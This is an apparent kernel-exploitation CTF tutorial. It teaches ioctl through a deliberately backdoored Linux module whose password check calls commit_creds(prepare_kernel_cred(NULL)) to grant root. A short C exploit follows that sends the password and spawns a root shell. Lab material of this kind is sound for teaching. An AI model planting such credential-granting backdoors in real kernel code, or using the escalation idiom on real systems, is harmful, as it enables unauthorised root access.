Procfs Ioctl Challenge: Direct Device Control
This challenge introduces the ioctl (Input/Output Control) system call. While read and write are standard for data streams, ioctl is used for device-specific operations that don’t fit the standard model. In kernel pwn, ioctl is often the primary entry point for complex vulnerabilities.
The Driver Code
The module creates /proc/pwnioctl. It implements the proc_ioctl (or unlocked_ioctl) callback to handle custom commands.
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/cred.h>
#define PROC_FILENAME "pwnioctl"
#define IOCTL_WIN_CMD 0x1337
#define SECRET_PASSWORD "uiiaiiuuiiai"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("fitrafep");
MODULE_DESCRIPTION("Ioctl Password Challenge");
static struct proc_dir_entry *proc_entry;
static void win(void)
{
printk(KERN_INFO "ioctl_chall: Password correct! Elevating privileges...\n");
commit_creds(prepare_kernel_cred(NULL));
}
static long device_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
char password[32];
int len;
if (cmd != IOCTL_WIN_CMD)
return -EINVAL;
// arg is treated as a user-space pointer to the password string
if (copy_from_user(password, (char __user *)arg, sizeof(password) - 1))
return -EFAULT;
password[sizeof(password) - 1] = '\0';
len = strlen(SECRET_PASSWORD);
if (strncmp(password, SECRET_PASSWORD, len) == 0) {
win();
return 0;
}
printk(KERN_INFO "ioctl_chall: Incorrect password provided via ioctl.\n");
return -EACCES;
}
#ifdef HAVE_PROC_OPS
static const struct proc_ops proc_fops = {
.proc_ioctl = device_ioctl,
};
#else
static const struct file_operations proc_fops = {
.unlocked_ioctl = device_ioctl,
};
#endif
static int __init ioctl_chall_init(void)
{
proc_entry = proc_create(PROC_FILENAME, 0666, NULL, &proc_fops);
return proc_entry ? 0 : -ENOMEM;
}
static void __exit ioctl_chall_exit(void)
{
proc_remove(proc_entry);
}
module_init(ioctl_chall_init);
module_exit(ioctl_chall_exit);Makefile
obj-m += secret_chall.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) cleanThe Ioctl Mechanism
The ioctl system call takes three arguments: a file descriptor, a command number, and an optional argument (usually a pointer or a long).
- Command (
cmd): A unique integer identifying the operation. Here,0x1337triggers the win check. - Argument (
arg): In this driver,argis cast to achar __user *. The kernel usescopy_from_userto read the password string from the user process’s memory.
Exploit Script (C)
This script uses the ioctl() system call to send the password directly to the kernel module.
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define IOCTL_WIN_CMD 0x1337
#define SECRET_PASSWORD "uiiaiiuuiiai"
int main() {
// 1. Open the proc entry
int fd = open("/proc/pwnioctl", O_RDWR);
if (fd < 0) { perror("open"); return 1; }
// 2. Send the secret password via ioctl
if (ioctl(fd, IOCTL_WIN_CMD, SECRET_PASSWORD) < 0) {
perror("ioctl");
return 1;
}
// 3. Verify root escalation
if (getuid() == 0) {
printf("[+] Success! We are root.\n");
system("/bin/sh");
} else {
printf("[-] Failed to get root.\n");
}
close(fd);
return 0;
}Deployment
Modify the rootfs/init script to load the module and trigger the exploit:
-exec /bin/sh
+insmod /secret_chall.ko
+su pwn -c "/exploit_secret"
+poweroff -fFinally, rebuild the rootfs and launch the environment:
./pack.sh && ./run.sh